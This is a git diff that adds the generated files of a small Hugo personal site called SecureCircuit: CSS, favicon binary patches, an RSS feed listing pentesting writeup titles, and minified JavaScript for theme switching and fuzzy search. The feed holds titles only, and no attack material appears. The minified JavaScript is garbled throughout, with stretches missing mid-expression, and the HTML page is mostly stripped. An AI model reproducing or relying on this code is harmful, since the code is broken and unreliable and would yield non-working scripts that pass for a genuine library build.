6px -4px rgb(0 0 0 / 0.1);--tw-shadow-colored:0 10px 15px -3px var(--tw-shadow-color), 0 4px 6px -4px var(--tw-shadow-color);box-shadow:var(--tw-ring-offset-shadow,0 0 #0000),var(--tw-ring-shadow,0 0 #0000),var(--tw-shadow)}.backdrop-blur{--tw-backdrop-blur:blur(8px);-webkit-backdrop-filter:var(--tw-backdrop-blur)var(--tw-backdrop-brightness)var(--tw-backdrop-contrast)var(--tw-backdrop-grayscale)var(--tw-backdrop-hue-rotate)var(--tw-backdrop-invert)var(--tw-backdrop-opacity)var(--tw-backdrop-saturate)var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur)var(--tw-backdrop-brightness)var(--tw-backdrop-contrast)var(--tw-backdrop-grayscale)var(--tw-backdrop-hue-rotate)var(--tw-backdrop-invert)var(--tw-backdrop-opacity)var(--tw-backdrop-saturate)var(--tw-backdrop-sepia)}.backdrop-blur-sm{--tw-backdrop-blur:blur(4px);-webkit-backdrop-filter:var(--tw-backdrop-blur)var(--tw-backdrop-brightness)var(--tw-backdrop-contrast)var(--tw-backdrop-grayscale)var(--tw-backdrop-hue-rotate)var(--tw-backdrop-invert)var(--tw-backdrop-opacity)var(--tw-backdrop-saturate)var(--tw-backdrop-sepia);backdrop-filter:var(--tw-backdrop-blur)var(--tw-backdrop-brightness)var(--tw-backdrop-contrast)var(--tw-backdrop-grayscale)var(--tw-backdrop-hue-rotate)var(--tw-backdrop-invert)var(--tw-backdrop-opacity)var(--tw-backdrop-saturate)var(--tw-backdrop-sepia)}.transition-colors{transition-property:color,background-color,border-color,text-decoration-color,fill,stroke;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:150ms}.transition-opacity{transition-property:opacity;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:150ms}.transition-transform{transition-property:transform;transition-timing-function:cubic-bezier(.4,0,.2,1);transition-duration:150ms}.dark\:prose-invert:is(.dark *){--tw-prose-body:var(--tw-prose-invert-body);--tw-prose-headings:var(--tw-prose-invert-headings);--tw-prose-lead:var(--tw-prose-invert-lead);--tw-prose-links:var(--tw-prose-invert-links);--tw-prose-bold:var(--tw-prose-invert-bold);--tw-prose-counters:var(--tw-prose-invert-counters);--tw-prose-bullets:var(--tw-prose-invert-bullets);--tw-prose-hr:var(--tw-prose-invert-hr);--tw-prose-quotes:var(--tw-prose-invert-quotes);--tw-prose-quote-borders:var(--tw-prose-invert-quote-borders);--tw-prose-captions:var(--tw-prose-invert-captions);--tw-prose-kbd:var(--tw-prose-invert-kbd);--tw-prose-kbd-shadows:var(--tw-prose-invert-kbd-shadows);--tw-prose-code:var(--tw-prose-invert-code);--tw-prose-pre-code:var(--tw-prose-invert-pre-code);--tw-prose-pre-bg:var(--tw-prose-invert-pre-bg);--tw-prose-th-borders:var(--tw-prose-invert-th-borders);--tw-prose-td-borders:var(--tw-prose-invert-td-borders)}.dark\:prose-invert:is(.dark *) :where(a):not(:where([class~=not-prose],[class~=not-prose] *)){text-decoration-color:rgba(var(--color-neutral-600),1)}.dark\:prose-invert:is(.dark *) :where(kbd):not(:where([class~=not-prose],[class~=not-prose] *)){color:rgba(var(--color-neutral-200),1);background-color:rgba(var(--color-neutral-700),1)}.dark\:prose-invert:is(.dark *) :where(mark):not(:where([class~=not-prose],[class~=not-prose] *)){background-color:rgba(var(--color-secondary-400),1)}.first\:mt-8:first-child{margin-top:2rem}.hover\:scale-125:hover{--tw-scale-x:1.25;--tw-scale-y:1.25;transform:translate(var(--tw-translate-x),var(--tw-translate-y))rotate(var(--tw-rotate))skewX(var(--tw-skew-x))skewY(var(--tw-skew-y))scaleX(var(--tw-scale-x))scaleY(var(--tw-scale-y))}.hover\:border-primary-300:hover{--tw-border-opacity:1;border-color:rgba(var(--color-primary-300),var(--tw-border-opacity))}.hover\:\!bg-primary-500:hover{--tw-bg-opacity:1 !important;background-color:rgba(var(--color-primary-500),var(--tw-bg-opacity))!important}.hover\:bg-primary-100:hover{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-100),var(--tw-bg-opacity))}.hover\:bg-primary-500:hover{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-500),var(--tw-bg-opacity))}.hover\:bg-primary-600:hover{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-600),var(--tw-bg-opacity))}.hover\:text-neutral:hover{--tw-text-opacity:1;color:rgba(var(--color-neutral),var(--tw-text-opacity))}.hover\:text-primary-500:hover{--tw-text-opacity:1;color:rgba(var(--color-primary-500),var(--tw-text-opacity))}.hover\:text-primary-600:hover{--tw-text-opacity:1;color:rgba(var(--color-primary-600),var(--tw-text-opacity))}.hover\:text-primary-700:hover{--tw-text-opacity:1;color:rgba(var(--color-primary-700),var(--tw-text-opacity))}.hover\:underline:hover{text-decoration-line:underline}.hover\:decoration-primary-400:hover{text-decoration-color:rgba(var(--color-primary-400),1)}.hover\:decoration-2:hover{text-decoration-thickness:2px}.hover\:underline-offset-2:hover{text-underline-offset:2px}.focus\:translate-y-0:focus{--tw-translate-y:0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y))rotate(var(--tw-rotate))skewX(var(--tw-skew-x))skewY(var(--tw-skew-y))scaleX(var(--tw-scale-x))scaleY(var(--tw-scale-y))}.focus\:bg-primary-100:focus{--tw-bg-opacity:1;background-color:rgba(var(--color-primary-100),var(--tw-bg-opacity))}.focus\:outline-dotted:focus{outline-style:dotted}.focus\:outline-2:focus{outline-width:2px}.focus\:outline-transparent:focus{outline-color:transparent}.group:hover .group-hover\:visible{visibility:visible}.group:hover .group-hover\:-translate-x-\[-2px\]{--tw-translate-x:2px;transform:translate(var(--tw-translate-x),var(--tw-translate-y))rotate(var(--tw-rotate))skewX(var(--tw-skew-x))skewY(var(--tw-skew-y))scaleX(var(--tw-scale-x))scaleY(var(--tw-scale-y))}.group:hover .group-hover\:-translate-x-\[2px\]{--tw-translate-x:-2px;transform:translate(var(--tw-translate-x),var(--tw-translate-y))rotate(var(--tw-rotate))skewX(var(--tw-skew-x))skewY(var(--tw-skew-y))scaleX(var(--tw-scale-x))scaleY(var(--tw-scale-y))}.group:hover .group-hover\:text-primary-300{--tw-text-opacity:1;color:rgba(var(--color-primary-300),var(--tw-text-opacity))}.group:hover .group-hover\:text-primary-600{--tw-text-opacity:1;color:rgba(var(--color-primary-600),var(--tw-text-opacity))}.group:hover .group-hover\:underline{text-decoration-line:underline}.group:hover .group-hover\:decoration-primary-500{text-decoration-color:rgba(var(--color-primary-500),1)}.group:hover .group-hover\:decoration-2{text-decoration-thickness:2px}.group:hover .group-hover\:underline-offset-2{text-underline-offset:2px}.group:hover .group-hover\:opacity-100{opacity:1}.dark\:inline:is(.dark *){display:inline}.dark\:flex:is(.dark *){display:flex}.dark\:hidden:is(.dark *){display:none}.dark\:border-neutral-600:is(.dark *){--tw-border-opacity:1;border-color:rgba(var(--color-neutral-600),var(--tw-border-opacity))}.dark\:border-neutral-700:is(.dark *){--tw-border-opacity:1;border-color:rgba(var(--color-neutral-700),var(--tw-border-opacity))}.dark\:border-primary-600:is(.dark *){--tw-border-opacity:1;border-color:rgba(var(--color-primary-600),var(--tw-border-opacity))}.dark\:bg-neutral-600:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-600),var(--tw-bg-opacity))}.dark\:bg-neutral-700:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-700),var(--tw-bg-opacity))}.dark\:bg-neutral-800:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-neutral-800),var(--tw-bg-opacity))}.dark\:bg-neutral-800\/50:is(.dark *){background-color:rgba(var(--color-neutral-800),.5)}.dark\:bg-neutral-900\/50:is(.dark *){background-color:rgba(var(--color-neutral-900),.5)}.dark\:bg-primary-400:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-400),var(--tw-bg-opacity))}.dark\:bg-primary-800:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-800),var(--tw-bg-opacity))}.dark\:bg-primary-900:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-900),var(--tw-bg-opacity))}.dark\:text-neutral:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral),var(--tw-text-opacity))}.dark\:text-neutral-100:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-100),var(--tw-text-opacity))}.dark\:text-neutral-300:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-300),var(--tw-text-opacity))}.dark\:text-neutral-400:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-400),var(--tw-text-opacity))}.dark\:text-neutral-500:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-500),var(--tw-text-opacity))}.dark\:text-neutral-800:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-800),var(--tw-text-opacity))}.dark\:text-primary-400:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}.dark\:hover\:border-primary-600:hover:is(.dark *){--tw-border-opacity:1;border-color:rgba(var(--color-primary-600),var(--tw-border-opacity))}.dark\:hover\:\!bg-primary-700:hover:is(.dark *){--tw-bg-opacity:1 !important;background-color:rgba(var(--color-primary-700),var(--tw-bg-opacity))!important}.dark\:hover\:bg-primary-400:hover:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-400),var(--tw-bg-opacity))}.dark\:hover\:bg-primary-900:hover:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-900),var(--tw-bg-opacity))}.dark\:hover\:text-neutral-800:hover:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-800),var(--tw-text-opacity))}.dark\:hover\:text-primary-400:hover:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}.dark\:focus\:bg-primary-900:focus:is(.dark *){--tw-bg-opacity:1;background-color:rgba(var(--color-primary-900),var(--tw-bg-opacity))}.group:hover .dark\:group-hover\:text-neutral-700:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-neutral-700),var(--tw-text-opacity))}.group:hover .dark\:group-hover\:text-primary-400:is(.dark *){--tw-text-opacity:1;color:rgba(var(--color-primary-400),var(--tw-text-opacity))}@media(min-width:640px){.sm\:mb-0{margin-bottom:0}.sm\:me-7{margin-inline-end:1.75rem}.sm\:flex{display:flex}.sm\:hidden{display:none}.sm\:max-h-\[7\.5rem\]{max-height:7.5rem}.sm\:w-1\/2{width:50%}.sm\:w-40{width:10rem}.sm\:max-w-\[10rem\]{max-width:10rem}.sm\:flex-row{flex-direction:row}.sm\:items-center{align-items:center}.sm\:p-6{padding:1.5rem}.sm\:px-14{padding-left:3.5rem;padding-right:3.5rem}.sm\:py-10{padding-top:2.5rem;padding-bottom:2.5rem}.sm\:pe-6{padding-inline-end:1.5rem}.sm\:pt-10{padding-top:2.5rem}.sm\:text-lg{font-size:1.125rem;line-height:1.75rem}.sm\:last\:me-0:last-child{margin-inline-end:0}.sm\:last\:me-0\.5:last-child{margin-inline-end:.125rem}}@media(min-width:768px){.md\:w-1\/3{width:33.333333%}.md\:p-\[10vh\]{padding:10vh}.md\:px-24{padding-left:6rem;padding-right:6rem}}@media(min-width:1024px){.lg\:sticky{position:sticky}.lg\:top-10{top:2.5rem}.lg\:order-last{order:9999}.lg\:hidden{display:none}.lg\:w-1\/4{width:25%}.lg\:max-w-xs{max-width:20rem}.lg\:flex-row{flex-direction:row}.lg\:p-\[12vh\]{padding:12vh}.lg\:px-32{padding-left:8rem;padding-right:8rem}.lg\:ps-8{padding-inline-start:2rem}}@media(min-width:1280px){.xl\:w-1\/5{width:20%}}.ltr\:right-0:where([dir=ltr],[dir=ltr] *){right:0}.ltr\:block:where([dir=ltr],[dir=ltr] *){display:block}.ltr\:inline:where([dir=ltr],[dir=ltr] *){display:inline}.ltr\:hidden:where([dir=ltr],[dir=ltr] *){display:none}.rtl\:left-0:where([dir=rtl],[dir=rtl] *){left:0}.rtl\:block:where([dir=rtl],[dir=rtl] *){display:block}.rtl\:inline:where([dir=rtl],[dir=rtl] *){display:inline}.rtl\:hidden:where([dir=rtl],[dir=rtl] *){display:none}@media print{.print\:hidden{display:none}} \ No newline at end of file diff --git a/favicon-16x16.png b/favicon-16x16.png new file mode 100644 index 0000000000000000000000000000000000000000..8ecbbe95e78762ec6dddc6a4c19063dc3629d33a GIT binary patch literal 229 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`jKx9jP7LeL$-D$|Tv8)E(|mmy zw18|52FCVG1{RPKAeI7R1_tH@j10^`nh_+nfC(-uuz(rC1}QWNE&K$e{5@S9Lo5W7 z*KDhaKYrrJ`dN*Qjl3P6jQjunPtQtSv$5*8@QUt`vj*LDhJgztQ#hngFmxSQ!N|k2 uIME>D&;xPS%%9@I8s1F23daQs%Gekt1q$CXQhxw)Dubu1pUXO@geCwiJUD^? literal 0 HcmV?d00001 diff --git a/favicon-32x32.png b/favicon-32x32.png new file mode 100644 index 0000000000000000000000000000000000000000..6f409e8f4de4707b5a875a7ae30ecf74504271d1 GIT binary patch literal 307 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnE1|*BCs=fdz#^NA%Cx&(BWL^R}E~ycoX}-P; zT0k}j17mw80}DtA5K93u0|WB{Mh0de%?J`(zyz07Sip>6gA}f5OZp6?=6bp~hD30_ zy}pr`$&jb@;q&qisf!1+41|)H{5&{VgcaPHLKiq*@tB^_{f@0*)^xp0yXWt7*hBbU zpI?`7Ln^1SB{(qNrTp!?&8MI2uKLc>*Qb7=Udb*h&@WHgGw0G1K@qdSjWTU{=U&DomVJqM&f^lB6D>!;ni=igBgTe~DWM4fdLdfo literal 0 HcmV?d00001 diff --git a/favicon.ico b/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..879d75557d4bd69082f5a74e68ca3ac51fe17101 GIT binary patch literal 15406 zcmeI2y-ve05XX;?oieazLLDn1A;l~_2ttg!0aBYFUZN|HgLo4d(snGJ%3VIBinfS2 zY7&c|CCkbs&i!rwY{eIg9Lb3c2BKvokEbHnA`(T#_3&KeRc)hDdH+)6?LuUz&uA5` zQP{QEnHKTndFGOp=5@`yYEZZG<>R-iOId%+=(GOyS(7=?WDe$acPh$c(j;?}&zkFuH?!u;e46iBJWkv4yXD7x-y|Pf_O@8;(sx^J#E5NOp zj4^`&7=Qs7fB_hQ0T?(G16}Tc%y-B8&#w31`{Dxs#cpvD4bjSj=HKEZdRyjKPiJ$N z-f7I>J#)#juluuHn`$(zrg=mARAVn+ebxO_mub~DOsx%BJiZS}d({@xoNL$dsBEE? zS)skRy#Jv;L)Ol>$DzJGcrR?h01UtY48Q;kzyJ)u01UtY48Q;kzyJ)u01UtY48Q;k szyJ*RGZ6AW$YuEtILPrg?V+C^D9@e*dwyf%3`&saXG}kd9`NmfZ?u8EK>z>% literal 0 HcmV?d00001 diff --git a/index.html b/index.html new file mode 100644 index 0000000..3f97ec6 --- /dev/null +++ b/index.html @@ -0,0 +1,18 @@ +SecureCircuit +

Neelakantan C A

Jack of several trades, master of none. 😄

Recent

\ No newline at end of file diff --git a/index.xml b/index.xml new file mode 100644 index 0000000..66a7a20 --- /dev/null +++ b/index.xml @@ -0,0 +1 @@ +SecureCircuithttps://your_domain.com/Recent content on SecureCircuitHugoenThu, 04 Jan 2024 18:18:45 +0530Basic Pentestinghttps://your_domain.com/writeups/basic-pentesting/Thu, 04 Jan 2024 18:18:45 +0530https://your_domain.com/writeups/basic-pentesting/A writeup of TryHackMe&rsquo;s Basic Pentesting RoomKioptrixhttps://your_domain.com/writeups/kioptrix/Fri, 11 Aug 2023 08:11:37 +0530https://your_domain.com/writeups/kioptrix/Adguard on a Pihttps://your_domain.com/blog/adguard-unbound-pi/Sun, 02 Apr 2023 19:25:11 +0530https://your_domain.com/blog/adguard-unbound-pi/Installing Docker & Docker Compose on Raspberry Pihttps://your_domain.com/blog/docker-raspi-install/Thu, 16 Mar 2023 10:10:31 +0530https://your_domain.com/blog/docker-raspi-install/ \ No newline at end of file diff --git a/js/appearance.min.8a082f81b27f3cb2ee528df0b0bdc39787034cf2cc34d4669fbc9977c929023c.js b/js/appearance.min.8a082f81b27f3cb2ee528df0b0bdc39787034cf2cc34d4669fbc9977c929023c.js new file mode 100644 index 0000000..adf580b --- /dev/null +++ b/js/appearance.min.8a082f81b27f3cb2ee528df0b0bdc39787034cf2cc34d4669fbc9977c929023c.js @@ -0,0 +1 @@ +const sitePreference=document.documentElement.getAttribute("data-default-appearance"),userPreference=localStorage.getItem("appearance");function getCSSValue(e){var t=window.getComputedStyle(document.documentElement).getPropertyValue(e);return"rgb("+t.replace(/\s+/g,"")+")"}function setThemeColor(){var e=document.querySelector("meta[name=theme-color]");return document.documentElement.classList.contains("dark")?e.setAttribute("content",getCSSValue("--color-neutral-800")):e.setAttribute("content",getCSSValue("--color-neutral")),!0}(sitePreference==="dark"&&userPreference===null||userPreference==="dark")&&(document.documentElement.classList.add("dark"),setThemeColor()),document.documentElement.getAttribute("data-auto-appearance")==="true"&&(window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches&&userPreference!=="light"&&(document.documentElement.classList.add("dark"),setThemeColor()),window.matchMedia("(prefers-color-scheme: dark)").addEventListener("change",e=>{e.matches?document.documentElement.classList.add("dark"):document.documentElement.classList.remove("dark"),setThemeColor()}));function add_to_top_elem(){var n=document.body,e=document.documentElement;const s=Math.max(n.scrollHeight,n.offsetHeight,e.clientHeight,e.scrollHeight,e.offsetHeight)-150,t=document.getElementById("to-top");if(t==null)return;t.hidden=s{add_to_top_elem(),setThemeColor();var t=document.querySelectorAll("[id^='appearance-switcher']");t.forEach(e=>{e.addEventListener("click",()=>{document.documentElement.classList.toggle("dark"),setThemeColor(),localStorage.setItem("appearance",document.documentElement.classList.contains("dark")?"dark":"light")}),e.addEventListener("contextmenu",e=>{e.preventDefault(),localStorage.removeItem("appearance")})})}) \ No newline at end of file diff --git a/js/main.bundle.min.bb487ad6073790cb02c354ee8c5f8822c42c5513e10bf7a86bbe8f82118cd1fc.js b/js/main.bundle.min.bb487ad6073790cb02c354ee8c5f8822c42c5513e10bf7a86bbe8f82118cd1fc.js new file mode 100644 index 0000000..c0249cb --- /dev/null +++ b/js/main.bundle.min.bb487ad6073790cb02c354ee8c5f8822c42c5513e10bf7a86bbe8f82118cd1fc.js @@ -0,0 +1,12 @@ +e=this,t=function(){"use strict";function R(e,t){var n,s=Object.keys(e);return Object.getOwnPropertySymbols&&(n=Object.getOwnPropertySymbols(e),t&&(n=n.filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable})),s.push.apply(s,n)),s}function h(e){for(var t,n=1;ne.length)&&(t=e.length);for(var n=0,s=new Array(t);n0&&void 0!==arguments[0]?arguments[0]:{},s=n.getFn,i=void 0===s?e.getFn:s,o=n.fieldNormWeight,r=void 0===o?e.fieldNormWeight:o;t(this,a),this.norm=function(){var n=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1,s=arguments.length>1&&void 0!==arguments[1]?arguments[1]:3,e=new Map,t=Math.pow(10,s);return{get:function(s){if(o=s.match(re).length,e.has(o))return e.get(o);var o,a=1/Math.pow(o,.5*n),i=parseFloat(Math.round(a*t)/t);return e.set(o,i),i},clear:function(){e.clear()}}}(r,3),this.getFn=i,this.isCreated=!1,this.setIndexRecords()}return n(a,[{key:"setSources",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.docs=e}},{key:"setIndexRecords",value:function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.records=e}},{key:"setKeys",value:function(){var t=this,e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[];this.keys=e,this._keysMap={},e.forEach(function(e,n){t._keysMap[e.id]=n})}},{key:"create",value:function(){var e=this;!this.isCreated&&this.docs.length&&(this.isCreated=!0,o(this.docs[0])?this.docs.forEach(function(t,n){e._addString(t,n)}):this.docs.forEach(function(t,n){e._addObject(t,n)}),this.norm.clear())}},{key:"add",value:function(e){var t=this.size();o(e)?this._addString(e,t):this._addObject(e,t)}},{key:"removeAt",value:function(e){this.records.splice(e,1);for(var t=e,n=this.size();t2&&void 0!==arguments[2]?arguments[2]:{},i=o.getFn,r=void 0===i?e.getFn:i,a=o.fieldNormWeight,c=void 0===a?e.fieldNormWeight:a,s=new E({getFn:r,fieldNormWeight:c});return s.setKeys(t.map(H)),s.setSources(n),s.create(),s}function f(t){var s,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},d=n.errors,f=void 0===d?0:d,l=n.currentLocation,u=void 0===l?0:l,a=n.expectedLocation,h=void 0===a?0:a,r=n.distance,c=void 0===r?e.distance:r,i=n.ignoreLocation,m=void 0===i?e.ignoreLocation:i,o=f/t.length;return m?o:(s=Math.abs(h-u),c?o+s/c:s?1:o)}l=32;function U(t,n,s){var o,a,p,v,b,_,E,M,P,r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},B=r.location,V=void 0===B?e.location:B,R=r.distance,C=void 0===R?e.distance:R,N=r.threshold,U=void 0===N?e.threshold:N,F=r.findAllMatches,$=void 0===F?e.findAllMatches:F,D=r.minMatchCharLength,z=void 0===D?e.minMatchCharLength:D,I=r.includeMatches,H=void 0===I?e.includeMatches:I,L=r.ignoreLocation,j=void 0===L?e.ignoreLocation:L;if(n.length>l)throw new Error("Pattern length exceeds max of ".concat(l,"."));for(var y,d=n.length,g=t.length,i=Math.max(0,Math.min(V,g)),m=U,h=i,x=z>1||H,S=x?Array(g):[];(y=t.indexOf(n,h))>-1;)if(P=f(n,{currentLocation:y,expectedLocation:i,distance:C,ignoreLocation:j}),m=Math.min(P,m),h=y+d,x)for(b=0;b=T;o-=1)if(v=o-1,E=s[t.charAt(v)],x&&(S[v]=+!!E),u[o]=(u[o+1]<<1|1)&E,c&&(u[o]|=(w[o+1]|w[o])<<1|1|w[o+1]),u[o]&W&&(A=f(n,{errors:c,currentLocation:v,expectedLocation:i,distance:C,ignoreLocation:j}))<=m){if(m=A,(h=v)<=i)break;T=Math.max(1,2*i-h)}if(f(n,{errors:c+1,currentLocation:i,expectedLocation:i,distance:C,ignoreLocation:j})>m)break;w=u}return _={isMatch:h>=0,score:Math.max(.001,A)},x&&(M=function(){for(var i,s=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],a=arguments.length>1&&void 0!==arguments[1]?arguments[1]:e.minMatchCharLength,o=[],t=-1,r=-1,n=0,c=s.length;n=a&&o.push([t,r]),t=-1);return s[n-1]&&n-t>=a&&o.push([t,n-1]),o}(S,z),M.length?H&&(_.indices=M):_.isMatch=!1),_}function J(e){for(var s,n={},t=0,o=e.length;t1&&void 0!==arguments[1]?arguments[1]:{},h=o.location,C=void 0===h?e.location:h,g=o.threshold,O=void 0===g?e.threshold:g,d=o.distance,A=void 0===d?e.distance:d,m=o.includeMatches,E=void 0===m?e.includeMatches:m,p=o.findAllMatches,x=void 0===p?e.findAllMatches:p,v=o.minMatchCharLength,_=void 0===v?e.minMatchCharLength:v,u=o.isCaseSensitive,j=void 0===u?e.isCaseSensitive:u,b=o.ignoreLocation,w=void 0===b?e.ignoreLocation:b;if(t(this,s),this.options={location:C,threshold:O,distance:A,includeMatches:E,findAllMatches:x,minMatchCharLength:_,isCaseSensitive:j,ignoreLocation:w},this.pattern=j?n:n.toLowerCase(),this.chunks=[],this.pattern.length)if(a=function(e,t){y.chunks.push({pattern:e,alphabet:J(e),startIndex:t})},i=this.pattern.length,i>l){for(var r=0,f=i%l,k=i-f;r1&&void 0!==arguments[1]?arguments[1]:{},h=s.location,g=void 0===h?e.location:h,l=s.threshold,p=void 0===l?e.threshold:l,u=s.distance,j=void 0===u?e.distance:u,a=s.includeMatches,w=void 0===a?e.includeMatches:a,d=s.findAllMatches,v=void 0===d?e.findAllMatches:d,m=s.minMatchCharLength,b=void 0===m?e.minMatchCharLength:m,r=s.isCaseSensitive,y=void 0===r?e.isCaseSensitive:r,c=s.ignoreLocation,O=void 0===c?e.ignoreLocation:c;return t(this,o),(f=i.call(this,n))._bitapSearch=new _(n,{location:g,threshold:p,distance:j,includeMatches:w,findAllMatches:v,minMatchCharLength:b,isCaseSensitive:y,ignoreLocation:O}),f}return n(o,[{key:"search",value:function(e){return this._bitapSearch.searchIn(e)}}],[{key:"type",get:function(){return"fuzzy"}},{key:"multiRegex",get:function(){return/^"(.*)"$/}},{key:"singleRegex",get:function(){return/^(.*)$/}}]),o}(a),W=function(e){c(s,e);var o=r(s);function s(e){return t(this,s),o.call(this,e)}return n(s,[{key:"search",value:function(e){for(var t,o,n=0,s=[],i=this.pattern.length;(t=e.indexOf(this.pattern,n))>-1;)n=t+i,s.push([t,n-1]);return o=!!s.length,{isMatch:o,score:o?0:1,indices:s}}}],[{key:"type",get:function(){return"include"}},{key:"multiRegex",get:function(){return/^'"(.*)"$/}},{key:"singleRegex",get:function(){return/^'(.*)$/}}]),s}(a),j=[Q,W,ne,q,G,Y,X,S],I=j.length,ee=/ +(?=(?:[^"]*"[^"]*")*[^"]*$)/,te=new Set([S.type,W.type]),K=function(){function s(n){var o=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},a=o.isCaseSensitive,r=void 0===a?e.isCaseSensitive:a,c=o.includeMatches,y=void 0===c?e.includeMatches:c,d=o.minMatchCharLength,v=void 0===d?e.minMatchCharLength:d,h=o.ignoreLocation,f=void 0===h?e.ignoreLocation:h,m=o.findAllMatches,p=void 0===m?e.findAllMatches:m,i=o.location,g=void 0===i?e.location:i,u=o.threshold,b=void 0===u?e.threshold:u,l=o.distance,_=void 0===l?e.distance:l;t(this,s),this.query=null,this.options={isCaseSensitive:r,includeMatches:y,minMatchCharLength:v,findAllMatches:p,ignoreLocation:f,location:g,threshold:b,distance:_},this.pattern=r?n:n.toLowerCase(),this.query=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return e.split("|").map(function(e){for(var a,r,c,l,d=e.trim().split(ee).filter(function(e){return e&&!!e.trim()}),s=[],o=0,h=d.length;o2&&void 0!==arguments[2]?arguments[2]:{}).auto,s=void 0===n||n;return w(e)||(e=T(e)),function e(n){var r,c,d,u,a=Object.keys(n),l=function(e){return!!e[D]}(n);if(!l&&a.length>1&&!w(n))return e(T(n));if(function(e){return!i(e)&&B(e)&&!w(e)}(n)){if(r=l?n[D]:a[0],c=l?n[ce]:n[r],!o(c))throw new Error(function(e){return"Invalid value for key ".concat(e)}(r));return d={keyId:b(r),pattern:c},s&&(d.searcher=v(c,t)),d}return u={children:[],operator:a[0]},a.forEach(function(t){var s=n[t];i(s)&&s.forEach(function(t){u.children.push(e(t))})}),u}(e)}function he(e,t){var n=e.matches;t.matches=[],s(n)&&n.forEach(function(e){if(s(e.indices)&&e.indices.length){var n={indices:e.indices,value:e.value};e.key&&(n.key=e.key.src),e.idx>-1&&(n.refIndex=e.idx),t.matches.push(n)}})}function me(e,t){t.score=e.score}return u=function(){function a(n){var s=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},o=arguments.length>2?arguments[2]:void 0;t(this,a),this.options=h(h({},e),s),this.options.useExtendedSearch,this._keyStore=new fe(this.options.keys),this.setCollection(n,o)}return n(a,[{key:"setCollection",value:function(e,t){if(this._docs=e,t&&!(t instanceof E))throw new Error("Incorrect 'index' type");this._myIndex=t||L(this.options.keys,this._docs,{getFn:this.options.getFn,fieldNormWeight:this.options.fieldNormWeight})}},{key:"add",value:function(e){s(e)&&(this._docs.push(e),this._myIndex.add(e))}},{key:"remove",value:function(){for(var t,o=arguments.length>0&&void 0!==arguments[0]?arguments[0]:function(){return!1},n=[],e=0,s=this._docs.length;e1&&void 0!==arguments[1]?arguments[1]:{}).limit,i=void 0===a?-1:a,n=this.options,r=n.includeMatches,c=n.includeScore,l=n.shouldSort,d=n.sortFn,u=n.ignoreFieldNorm,s=o(t)?o(this._docs[0])?this._searchStringList(t):this._searchObjectList(t):this._searchLogical(t);return function(t,n){var s=n.ignoreFieldNorm,o=void 0===s?e.ignoreFieldNorm:s;t.forEach(function(e){var t=1;e.matches.forEach(function(e){var n=e.key,a=e.norm,s=e.score,i=n?n.weight:null;t*=Math.pow(0===s&&i?Number.EPSILON:s,(i||1)*(o?1:a))}),e.score=t})}(s,{ignoreFieldNorm:u}),l&&s.sort(d),V(i)&&i>-1&&(s=s.slice(0,i)),function(t,n){var o=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},i=o.includeMatches,r=void 0===i?e.includeMatches:i,a=o.includeScore,c=void 0===a?e.includeScore:a,s=[];return r&&s.push(he),c&&s.push(me),t.map(function(e){var t=e.idx,o={item:n[t],refIndex:t};return s.length&&s.forEach(function(t){t(e,o)}),o})}(s,this._docs,{includeMatches:r,includeScore:c})}},{key:"_searchStringList",value:function(e){var n=v(e,this.options),o=this._myIndex.records,t=[];return o.forEach(function(e){var o=e.v,a=e.i,r=e.n;if(s(o)){var i=n.searchIn(o),c=i.isMatch,l=i.score,d=i.indices;c&&t.push({item:o,idx:a,matches:[{score:l,value:o,norm:r,indices:d}]})}}),t}},{key:"_searchLogical",value:function(e){var n=this,i=ue(e,this.options),a=function e(t,s,o){if(!t.children){var c,l=t.keyId,u=t.searcher,i=n._findMatches({key:n._keyStore.get(l),value:n._myIndex.getValueForItemAtKeyId(s,l),searcher:u});return i&&i.length?[{idx:o,item:s,matches:i}]:[]}for(var a=[],r=0,h=t.children.length;r1&&void 0!==arguments[1]?arguments[1]:{},o=s.getFn,a=void 0===o?e.getFn:o,i=s.fieldNormWeight,r=void 0===i?e.fieldNormWeight:i,c=t.keys,l=t.records,n=new E({getFn:a,fieldNormWeight:r});return 